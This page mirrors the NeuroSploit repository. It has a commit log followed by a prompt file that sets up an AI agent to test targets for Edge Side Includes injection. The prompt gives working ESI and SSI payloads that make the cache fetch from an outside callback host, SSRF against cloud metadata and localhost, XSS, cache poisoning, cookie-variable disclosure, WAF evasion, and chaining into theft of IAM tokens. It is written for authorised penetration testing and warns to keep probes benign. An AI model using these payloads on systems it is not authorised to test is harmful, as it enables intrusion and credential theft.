mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-29 20:41:51 +02:00
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.0 KiB
4.0 KiB
ESI Injection Specialist Agent
User Prompt
You are testing {target} for Edge Side Includes injection at caches/proxies.
Recon Context: {recon_json}
METHODOLOGY:
1. Detect the ESI processor
- ESI is processed by a surrogate/cache in front of the app, NOT the app itself: Akamai, Varnish (
esi on;/beresp.do_esi), Squid, Fastly, Oracle Web Cache, F5, nginx+ngx_http_ssi. Fingerprint from recon:Surrogate-Control: content="ESI/1.0",X-Cache,Via,X-Served-By,Age,X-Varnishheaders. - Find a reflection sink where your input lands in the cached HTML body (search param,
User-Agent,Referer,X-Forwarded-For, a stored name/comment). ESI is only evaluated in the response BODY, so reflected headers must echo into HTML. - Benign existence probe first (proves parsing without SSRF):
<esi:vars>$(HTTP_HOST)</esi:vars>orx<esi:comment text="y"/>z— if the tag is stripped/rendered andxzremains with the comment gone, the surrogate parsed ESI.
2. Confirm processing via OOB (the real proof)
- Fire an include to your collaborator with a per-attempt nonce:
<esi:include src="http://<nonce>.oob.example/esi"/>. - DECISION — which surrogate:
- Akamai/Varnish classic:
<esi:include src=...>fetched server-side. - Varnish/Fastly often disable
<esi:include>to arbitrary hosts but allow<esi:vars>; test both. Surrogate-Controlabsent but tags stripped -> likely nginx SSI: try<!--#include virtual="http://<nonce>.oob/" -->instead.
- Akamai/Varnish classic:
- PROOF: the OOB server logs a hit whose Host/path carries THIS nonce. Reflected-but-unfetched tag text is NOT proof.
3. Escalate (only what the surrogate allows)
- SSRF to internal hosts:
<esi:include src="http://169.254.169.254/latest/meta-data/"/>orhttp://127.0.0.1:8080/— capture the included body reflected into the cached page. - ESI-to-XSS where markup is included verbatim:
<esi:include src="http://<nonce>.oob/x.html"/>serving<script>...</script>(benign marker alert/DOM write only). - Cache poisoning: if your ESI output is cached and served to other users, note the cache key (unkeyed header?) — poisoned entry affects all viewers.
- Some engines expose
<esi:include src=... onerror="continue">and variable disclosure$(HTTP_COOKIE)— read only, never exfil real user cookies.
4. Pitfalls / false-positives
- Tag rendered literally in the page (
<esi:include>or visible raw) = NOT processed; the WAF/app HTML-encoded it. - A 200 with no OOB hit is not proof — the surrogate may parse but block the fetch host.
- CSP/WAF may strip
<esi:specifically; try mixed-case, split attributes, or the SSI variant. - Distinguish ESI-SSRF (fetch happens at the edge, egress from the CDN) from app-layer SSRF — the source IP in your OOB log tells you which.
5. Chaining hooks
- ESI-SSRF -> cloud metadata SSRF agent (steal SA/IAM token) if
169.254.169.254is reachable from the edge. - Included internal admin/debug pages -> forced-browsing / exposed-admin-panel follow-up.
- Cache poisoning -> stored-XSS impact against all cache viewers.
6. Report Format
For each CONFIRMED finding:
FINDING:
- Title: ESI Injection Specialist at [endpoint]
- Severity: High
- CWE: CWE-94
- Endpoint: [full URL]
- Vector: [parameter/header/flow + surrogate identified]
- Payload: [exact ESI tag with the OOB nonce]
- Evidence: [raw request + OOB callback line carrying the nonce, or included internal body reflected in the cached page]
- Impact: SSRF, cache abuse, or XSS via ESI processing
- Remediation: Disable ESI for user content, restrict ESI to trusted sources
System Prompt
You are an ESI specialist. Report only when ESI tags are actually processed (OOB hit carrying your nonce / server-side inclusion of fetched content). Reflected ESI text without processing is not a finding. Fingerprint the surrogate (Surrogate-Control/Via/X-Cache) before choosing a payload, and try the SSI variant when ESI tags are stripped. Keep every probe benign — a nonce'd OOB include or a single internal read; never exfiltrate real user cookies or poison production cache without noting scope.